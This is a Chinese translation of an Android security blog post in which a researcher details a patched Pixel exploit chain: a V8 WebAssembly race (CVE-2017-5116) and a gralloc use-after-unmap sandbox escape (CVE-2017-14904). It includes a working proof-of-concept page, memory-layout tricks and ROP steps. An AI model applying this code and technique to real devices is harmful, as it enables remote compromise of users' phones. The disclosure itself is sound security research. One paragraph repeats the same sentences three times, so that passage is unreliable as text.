Skip to content

Latest commit

 

History

History
400 lines (338 loc) · 27.6 KB

File metadata and controls

400 lines (338 loc) · 27.6 KB

Android安全生态系统为Pixel投资支付股息

原标题:Android Security Ecosystem Investments Pay Dividends for Pixel
链接:https://android-developers.googleblog.com/2018/01/android-security-ecosystem-investments.html
作者:Mayank Jain和Scott Roberts (Android安全团队)
翻译:arjinmc

2017年6月,Android安全团队增加了Android安全奖励(ASR)计划的最高支出,并与研究人员合作,简化了漏洞提交流程。2017年8月,奇虎360科技有限公司Alpha团队的广工(@oldfresher)提交了自ASR计划扩展以来第一个正在运行的远程利用链。对于他的详细报告,Gong被授予105,000美元,这是ASR计划历史上的最高奖励和Chrome Rewards计划的 7500 美元,共计112,500美元。作为2017年12月每月安全更新的一部分,整套问题已得到解决。 具有2017-12-05或更高版本安全补丁程序级别的设备不受这些问题的影响。

所有使用A / B(无缝)系统更新的Pixel设备或合作伙伴设备将自动安装这些更新; 用户必须重新启动设备才能完成安装。

Android安全团队非常感谢广工和研究人员对Android安全的贡献。如果你想参与Android安全奖励计划,请查看我们的计划规则。有关如何提交报告的提示,请参阅Bug Hunter University

下面的文章是奇虎360科技有限公司Alpha团队的Guang Gong撰写的嘉宾博客。

Pixel远程利用链的技术细节

Pixel手机受到多层安全保护。这是2017年移动Pwn2Own比赛中唯一没有投入使用的设备。但在2017年8月,我的团队发现了一个远程攻击链,这是ASR程序扩展以来的第一个。感谢Android安全团队在提交过程中的响应和帮助。

这个博文涵盖了漏洞利用链的技术细节。漏洞链包括两个漏洞,CVE-2017-5116和CVE-2017-14904。CVE-2017-5116是一个V8引擎bug,用于在沙盒渲染过程中获得远程代码执行。CVE-2017-14904是Android的libgralloc模块中的一个漏洞,用于从Chrome的沙箱中转移。通过访问Chrome中的恶意URL,这个利用链可以用来将任意代码注入到system_server中。要重现此漏洞,Chrome 60.3112.107 + Android 7.1.2(安全补丁程序级别2017-8-05)(google / sailfish / sailfish:7.1.2 / NJH47F / 4146041:user / release-keys) 。

RCE错误(CVE-2017-5116)

新功能通常会带来新的bug。V8 6.0引入了对SharedArrayBuffer的支持, SharedArrayBuffer是一种在JavaScript工作人员之间共享内存的低级别机制,并在工作人员之间同步控制流。SharedArrayBuffers给JavaScript访问共享内存,核和futexesWebAssembly是一种可以在现代Web浏览器中运行的新类型的代码,它是一种低级汇编式语言,具有紧凑的二进制格式,可以接近本机的性能运行,并提供汇编语言(如C / C ++)目标,使他们可以在网上运行。通过在Chrome中结合SharedArrayBuffer WebAssembly和web worker这三个功能,可以通过竞争条件触发OOB访问。简而言之,WebAssembly代码可以放入SharedArrayBuffer中,然后传递给Web Worker。当主线程解析WebAssembly代码时,工作线程可以同时修改代码,这会导致OOB访问。

错误代码在GetFirstArgumentAsBytes函数中,其中参数args可能是一个ArrayBuffer或TypedArray对象。在将SharedArrayBuffer导入到JavaScript之后,TypedArray可能由SharedArraybuffer支持,因此TypedArray的内容可能随时由其他工作线程修改。

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  ......
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  } 
  ......
  return i::wasm::ModuleWireBytes(start, start + length);
}

一个简单的PoC如下:

<html>
<h1>poc</h1>
<script id="worker1">
worker:{
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(arg.data);
        var i =0;
        while(1){
            if(i==0){
                i=1;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
            }else{
                i=0;
                ta[51]=128;
            }
        }
    }
}
</script>
<script>
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
        sta[i]=wasmarr[i];
    return sta;    
}
var blob = new Blob([
        document.querySelector('#worker1').textContent
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
setTimeout(function(){
        while(1){
        try{
        sta[51]=0;
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);
        //myInstance.exports.getAnswerPlus1();
        }catch(e){
        }
        }
    },1000);

//worker.terminate(); 
</script>
</html>

WebAssembly代码的文本格式如下所示:

00002b func[0]:
00002d: 41 2a                      | i32.const 42
00002f: 0b                         | end
000030 func[1]:
000032: 10 00                      | call 0
000034: 41 01                      | i32.const 1
000036: 6a                         | i32.add
000037: 0b                         | end

首先,将上述二进制格式WebAssembly代码放入SharedArrayBuffer中,然后使用SharedArrayBuffer作为缓冲区创建TypedArray对象。之后,将创建一个工作线程,并将SharedArrayBuffer传递给新创建的工作线程。当主线程解析WebAssembly代码时,工作线程同时修改SharedArrayBuffer。在这种情况下,竞赛状况会导致TOCTOU问题。在主线程绑定检查之后,工作线程可以修改指令“call 0”到“call 128”,然后由主线程解析和编译,所以发生了OOB访问。

因为“call 0”Web程序集指令可以被修改来调用任何其他的Web程序集函数,所以这个错误的利用很简单。如果“call 0”被修改为“call $leak”,则寄存器和堆栈内容被转储到Web Assembly内存。因为函数0和函数$ leak具有不同数量的参数,这导致堆栈中的许多有用的数据被泄漏。

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
   i32.const 0
   get_local 0
   i32.store
   i32.const 4
   get_local 1
   i32.store
   i32.const 8
   get_local 2
   i32.store
   i32.const 12
   get_local 3
   i32.store
   i32.const 16
   get_local 4
   i32.store
   i32.const 20
   get_local 5
   i32.store
   i32.const 0
 ))

不仅可以修改指令“call 0”,还可以修改任何“call funcx”指令。假设funcx是一个具有6个参数的wasm函数,当v8在ia32体系结构中编译funcx时,前5个参数通过寄存器传递,第六个参数通过栈传递。所有参数都可以通过JavaScript设置为任何值:

/*Text format of funcx*/
 (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
    get_local 5
    get_local 4
    i32.add)

/*Disassembly code of funcx*/
--- Code ---
kind = WASM_FUNCTION
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600     0  8b442404       mov eax,[esp+0x4]
0x58f87604     4  03c6           add eax,esi
0x58f87606     6  c20400         ret 0x4
0x58f87609     9  0f1f00         nop

Safepoints (size = 8)

RelocInfo (size = 0)

--- End code ---

当JavaScript函数调用WebAssembly函数时,v8编译器会在内部创建一个JS_TO_WASM函数,编译之后,JavaScript函数将调用创建的JS_TO_WASM函数,然后创建的JS_TO_WASM函数将调用WebAssembly函数。JS_TO_WASM函数使用不同的调用约定,它的第一个参数是通过堆栈传递的。如果“call funcx”被修改为调用下面的JS_TO_WASM函数。

/*Disassembly code of JS_TO_WASM function */
--- Code ---
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20     0  55             push ebp
0x4be08f21     1  89e5           mov ebp,esp
0x4be08f23     3  56             push esi
0x4be08f24     4  57             push edi
0x4be08f25     5  83ec08         sub esp,0x8
0x4be08f28     8  8b4508         mov eax,[ebp+0x8]
0x4be08f2b     b  e8702e2bde     call 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN
0x4be08f30    10  a801           test al,0x1
0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42>

JS_TO_WASM函数将f​​uncx的第六个参数作为第一个参数,但是它将第一个参数作为一个对象指针,所以当参数传递给ToNumber函数时会触发类型混淆,这意味着我们可以将任何值作为指向ToNumber函数的对象指针。所以我们可以在一个地址中伪造一个ArrayBuffer对象,例如在一个double数组中,并将地址传递给ToNumber。ArrayBuffer的布局如下:

/* ArrayBuffer layouts 40 Bytes*/                                                                                                                         
Map                                                                                                                                                       
Properties                                                                                                                                                
Elements                                                                                                                                                  
ByteLength                                                                                                                                                
BackingStore                                                                                                                                              
AllocationBase                                                                                                                                            
AllocationLength                                                                                                                                          
Fields                                                                                                                                                    
internal                                                                                                                                                  
internal                                                                                                                                                                                                                                                                                                      


/* Map layouts 44 Bytes*/                                                                                                                                   
static kMapOffset = 0,                                                                                                                                    
static kInstanceSizesOffset = 4,                                                                                                                          
static kInstanceAttributesOffset = 8,                                                                                                                     
static kBitField3Offset = 12,                                                                                                                             
static kPrototypeOffset = 16,                                                                                                                             
static kConstructorOrBackPointerOffset = 20,                                                                                                              
static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                            
static kDescriptorsOffset = 28,                                                                                                                           
static kLayoutDescriptorOffset = 1,                                                                                                                       
static kCodeCacheOffset = 32,                                                                                                                             
static kDependentCodeOffset = 36,                                                                                                                         
static kWeakCellCacheOffset = 40,                                                                                                                         
static kPointerFieldsBeginOffset = 16,                                                                                                                    
static kPointerFieldsEndOffset = 44,                                                                                                                      
static kInstanceSizeOffset = 4,                                                                                                                           
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                           
static kUnusedOffset = 6,                                                                                                                                 
static kVisitorIdOffset = 7,                                                                                                                              
static kInstanceTypeOffset = 8,     //one byte                                                                                                            
static kBitFieldOffset = 9,                                                                                                                               
static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                
static kBitField2Offset = 10,                                                                                                                             
static kUnusedPropertyFieldsOffset = 11

因为堆栈的内容可以被泄漏,所以我们可以获得许多有用的数据来伪装ArrayBuffer。例如,我们可以泄漏对象的起始地址,并计算其元素的起始地址,这是一个FixedArray对象。我们可以使用这个FixedArray对象作为伪装的ArrayBuffer的属性和元素字段。我们也必须伪造ArrayBuffer的地图,幸运的是,当触发bug时,大部分地图的字段都不会被使用。但是偏移量8中的InstanceType必须设置为0xc3(这个值取决于v8的版本)来表示这个对象是一个ArrayBuffer。为了在JavaScript中获得伪造的ArrayBuffer的引用,我们必须将Map的偏移量16的Prototype字段设置为Symbol.toPrimitive属性是JavaScript回调函数的对象。当伪数组缓冲区被传递给ToNumber函数时,为了将ArrayBuffer对象转换为一个Number,将会调用回调函数,所以我们可以在回调函数中获得伪造的ArrayBuffer的引用。由于ArrayBuffer伪造成双数组,因此数组的内容可以设置为任意值,所以我们可以改变伪造的数组缓冲区的BackingStore和ByteLength来获得任意的内存读写。使用任意内存读/写,执行shellcode很简单。由于Chrome中的JIT代码是可读,可写和可执行的,我们可以覆盖它来执行shellcode。数组的内容可以设置为任意值,所以我们可以改变伪造的数组缓冲区的BackingStore和ByteLength来获得任意的内存读写。使用任意内存读/写,执行shellcode很简单。由于Chrome中的JIT代码是可读,可写和可执行的,我们可以覆盖它来执行shellcode。数组的内容可以设置为任意值,所以我们可以改变伪造的数组缓冲区的BackingStore和ByteLength来获得任意的内存读写。使用任意内存读/写,执行shellcode很简单。由于Chrome中的JIT代码是可读,可写和可执行的,我们可以覆盖它来执行shellcode。

Chrome团队在提交漏洞利用一周后,很快就以61.0.3163.79的速度修复了这个漏洞。

EoP错误(CVE-2017-14904)

沙盒转义错误是由map和unmap不匹配造成的,这会导致Use-After-Unmap问题。bug代码位于函数gralloc_mapgralloc_unmap中:

static int gralloc_map(gralloc_module_t const* module,
                       buffer_handle_t handle)
{ ……
    private_handle_t* hnd = (private_handle_t*)handle;
    ……
    if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
        !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
        size = hnd->size;
        err = memalloc->map_buffer(&mappedAddress, size,
                                       hnd->offset, hnd->fd);        //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
        if(err || mappedAddress == MAP_FAILED) {
            ALOGE("Could not mmap handle %p, fd=%d (%s)",
                  handle, hnd->fd, strerror(errno));
            return -errno;
        }
        hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> save mappedAddress+offset to hnd->base
    } else {
        err = -EACCES;
}
……
    return err;
}

gralloc_map将由参数句柄控制的图形缓冲区映射到内存空间,而gralloc_unmap将其取消映射。映射时,mappedAddress加hnd-> offset被存储到hnd-> base,但是当unmapping时,hnd-> base被直接传递给系统调用unmap减去偏移量。hnd-> offset可以从Chrome的沙盒进程中操作,所以可以从Chrome的沙盒渲染进程中取消映射system_server中的任何页面。

static int gralloc_unmap(gralloc_module_t const* module,
                         buffer_handle_t handle)
{
  ……
    if(hnd->base) {
        err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
        if (err) {
            ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
                    strerror(errno));
            return -errno;
        }
        hnd->base = 0;
}
……
    return 0;
}

int IonAlloc::unmap_buffer(void *base, unsigned int size,
        unsigned int /*offset*/)                              
//---> look, offset is not used by unmap_buffer
{
    int err = 0;
    if(munmap(base, size)) {
        err = -errno;
        ALOGE("ion: Failed to unmap memory at %p : %s",
              base, strerror(errno));
    }
    return err;
}

尽管SeLinux限制了域isolation_app访问大部分Android系统服务,但isolated_app仍然可以访问三个Android系统服务。

52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;

要从Chrome的沙箱中触发前面提到的Use-After-Unmap错误,首先将一个可分析的GraphicBuffer对象放入一个包中,然后调用IActivityManager的binder方法convertToTranslucent将恶意包传递给system_server。当system_server处理这个恶意软件包时,会触发该错误。

这个EoP错误的目标是与我们2016年MoSec演示文稿中的错误相同的攻击面,这是在Android中打破Chrome的Sandbox的一种方式。它也类似于Bitunmap,只是从沙盒Chrome浏览器渲染过程比从应用程序更难。

利用这个EoP错误:

  1. 地址空间整形。使地址空间布局看起来如下,一个堆块正好在一些连续的灰点映射之上:
7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)
  1. 通过触发错误,取消部分堆(1 KB)和部分ashmem内存(2MB-1KB):
7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

3.用ashmem内存填充未映射的空间:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)

4.喷堆,堆数据将被写入ashmem内存:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

5.因为步骤3中填充的ashmem由system_server和render进程映射,system_server的堆的一部分可以被渲染进程读写,我们可以触发system_server分配一些GraphicBuffer在ashmem中的对象。由于GraphicBuffer是从ANativeWindowBuffer继承而来的,它有一个名为common的类型为android_native_base_t的成员,我们可以从ashmem内存中读取两个函数点(incRef和decRef),然后计算模块libui的基地址。在最新的Pixel设备中,Chrome的渲染进程仍然是32位进程,但是system_server是64位进程。所以我们必须泄露一些模块的ROP的基地址。现在我们有了libui的基地址,最后一步就是触发ROP。不幸的是,似乎incRef和decRef点没有被使用。修改它跳转到ROP是不可能的,但我们可以修改GraphicBuffer的虚拟表来触发ROP。

typedef struct android_native_base_t
{
    /* a magic value defined by the actual EGL native type */
    int magic;

    /* the sizeof() of the actual EGL native type */
    int version;

    void* reserved[4];

    /* reference-counting interface */
    void (*incRef)(struct android_native_base_t* base);
    void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;

6.触发一个GC来执行ROP

当一个GraphicBuffer对象被解构时,虚函数onLastStrongRef被调用,所以我们可以替换这个虚函数来跳转到ROP。当GC发生时,控制流程转到ROP。在有限的模块(libui)中查找ROP链是有挑战性的,但经过艰苦的努力,我们成功找到了一个并将文件内容转储到/data/misc/wifi/wpa_supplicant.conf中。

总结

Android安全小组对我们的报告作出了快速反应,并在2017年12月的安全更新中包含了这两个bug的修复。受支持的Google设备和设备的安全修补程序级别为2017-12-05或更高版本,可解决这些问题。虽然解析不受信任的包裹仍然发生在敏感位置,Android安全团队正在努力加强平台,以减轻类似的漏洞。

由于360 Alpha Team和360 C0RE Team的共同努力,发现了EoP bug。非常感谢他们的努力。